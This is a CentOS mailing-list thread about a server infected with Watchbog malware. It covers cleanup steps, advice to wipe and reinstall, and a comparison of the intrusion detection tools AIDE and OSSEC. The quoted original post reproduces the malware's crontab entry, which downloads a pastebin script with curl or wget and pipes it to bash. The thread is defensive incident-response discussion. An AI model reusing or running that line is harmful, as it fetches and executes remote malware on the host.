[CentOS] CentOS 7.5 Linux box got infected with Watchbog malware

Tue Dec 18 15:50:48 UTC 2018
Leroy Tennison <leroy at datavoiceint.com>

(Apologies in advance: "To top/middle/bottom post, that is the question")  In regard to "Search for "linux intrusion detection tools".", I have used Aide (Advanced Intrusion Detection System) and OSSEC, I'm aware of Samhain as well.  If anyone has experience with Samhain I would love to hear about it.

These systems have their advantages and disadvantages:

Aide - Pro: very granular, reasonably easy to use, no library dependencies.  Motivated by tripwire but actively maintained (which the free tripwire isn't to the best of my knowledge).  Cons: not a daemon, if "it" can be done and totally undone between scans then it's transparent to Aide.  Another con, somehow the executable, its database and configuration have to be protected against attack but everything is locally installed - a real challenge.

OSSEC - Pro: a daemon, also monitors logs.  Cons: Even though it's a daemon, checks are scheduled - same issue as above.  Another con: False positives, particularly if "new file detection" is used.  And, like Aide, the agent and configuration are locally installed.

Issues for all:
Learning curve: After installing Aide the first thing I learned was how much change the operating system was making as a part of normal operations.  In some ways a good education but it leads to the next dilemma.

What do you monitor?  If you monitor changing files you may be inundated with alerts.  If you don't monitor then how do you protect yourself?  Beyond /etc/shadow and database files there are more exotic (and thus more difficult to analyze) situations.  As an example, we were using both OSSEC and Aide on a system and, on occasion, Aide would alert that /etc/hosts.deny had an updated modification timestamp but no change in the file.  Using auditd (which has its own limitations) I finally discovered that OSSEC was updating hosts.deny with IP addresses of systems it detected were trying to do malicious things but then removing the entry 10 minutes later - a "hamper the attack" technique.  In another case icinga (the server side) was creating temporary files as a part of its monitoring.  However, they were being created and removed so fast that OSSEC detected the creation but the file was gone on its almost immediate next check causing it to report a possible rootkit (file exists but OS tools don't find it).  Fortunately I was able to capture a similar file and examine its contents.

The resource dilemma: Continuous monitoring can be resource intensive, can you accept that?  If not, how frequent a monitoring is enough.

Leroy Tennison
Network Information/Cyber Security Specialist
E: leroy at datavoiceint.com
2220 Bush Dr
McKinney, Texas
TThis message has been sent on behalf
of a company that is part of the Harris Operating Group of
Constellation Software Inc. These companies are listed
If you prefer not to be contacted by Harris
Operating Group
please notify us
This message is intended exclusively for the
individual or entity to which it is addressed. This communication
may contain information that is proprietary, privileged or
confidential or otherwise legally exempt from disclosure. If you are
not the named addressee, you are not authorized to read, print,
retain, copy or disseminate this message or any part of it. If you
have received this message in error, please notify the sender
immediately by e-mail and delete all copies of the

-----Original Message-----
From: CentOS <centos-bounces at centos.org> On Behalf Of Pete Biggs
Sent: Monday, December 17, 2018 3:58 PM
To: centos at centos.org
Subject: [EXTERNAL] Re: [CentOS] CentOS 7.5 Linux box got infected with Watchbog malware

> Is there a way to find out how the CentOS 7.5 Linux box got infected
> with malware?
> Currently i am referring to
> http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malw
> areransomware.html to carry out the below steps and is done manually.
> 1)rm -fr /tmp/*timesyncc.service*
> 2)crontab -e -u apigee
> delete the cron entry
> */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O-
> https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 3)ps aux |
> grep watchbog kill -9 pidof watchbog
> Any suggestions or recommendations to find out how CentOS 7.5 Linux
> box got infected with Watchbog Malware.

Well, if the infected crontab is owned by user 'apigee' then it would suggest that whatever runs as that user is the source of the infection.
The malware appears to try to elevate its privs, and if it's successful it modifies various system files.  What you are seeing in the 'apigee'
crontab is just the tip of the iceberg.

It is unlikely that what is in that blog will successfully get rid of all the malware - it will probably stop it running, but your system will still have the malware on it and it may have left other backdoors into your system.

The *ONLY* way of being sure your system is clean is to wipe and reinstall. (And make sure that if you restore from backup, that the backup is clean.)

> Is there any open source software which can be installed on CentOS 7.5
> Linux box to detect and prevent Malware?
Yes, lots, although most centre around detecting the intrusion rather than preventing it - the classic way of detecting intrusions in the past has been Tripwire, but it's a long time since I used it and there are no doubt better things around. Search for "linux intrusion detection tools".

For prevention, by far the best way is to keep your system and application software up to date.  The intrusions work by elevating privilege to root, and that elevation requires either a knowledge of passwords/keys or the ability to leverage vulnerabilities. The first is mitigated by strong passwords and proper security housekeeping; the second by regularly updating your system especially with security updates.


CentOS mailing list
CentOS at centos.org